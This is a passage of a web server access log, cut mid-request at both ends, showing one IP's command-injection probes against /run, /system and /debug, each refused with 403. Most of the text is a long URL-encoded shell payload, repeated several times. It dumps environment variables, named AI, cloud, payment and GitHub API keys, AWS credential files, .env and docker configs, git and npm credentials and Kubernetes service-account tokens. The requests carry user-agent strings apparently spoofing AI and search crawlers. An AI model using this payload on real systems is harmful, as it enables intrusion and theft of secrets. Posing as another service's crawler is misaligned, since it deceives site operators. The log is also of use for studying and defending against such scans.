22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17550 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 27 **0/27411**
34.140.123.172 - - [04/Aug/2026:17:50:09 -0700] "GET /system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10899 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 10 **0/10384**
34.140.123.172 - - [04/Aug/2026:17:50:09 -0700] "GET /run?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10896 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 12 **0/12648**
34.140.123.172 - - [04/Aug/2026:17:50:09 -0700] "GET /debug?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10898 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 17 **0/17085**
34.140.123.172 - - [04/Aug/2026:17:50:09 -0700] "POST / HTTP/2.0" 403 10865 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 11 **0/11968**
34.140.123.172 - - [04/Aug/2026:17:50:11 -0700] "GET /run?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17548 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 18 **0/18339**
34.140.123.172 - - [04/Aug/2026:17:50:11 -0700] "GET /system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17551 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 17 **0/17366**
34.140.123.172 - - [04/Aug/2026:17:50:11 -0700] "POST / HTTP/2.0" 403 10865 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 10 **0/10577**
34.140.123.172 - - [04/Aug/2026:17:50:11 -0700] "GET /debug?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY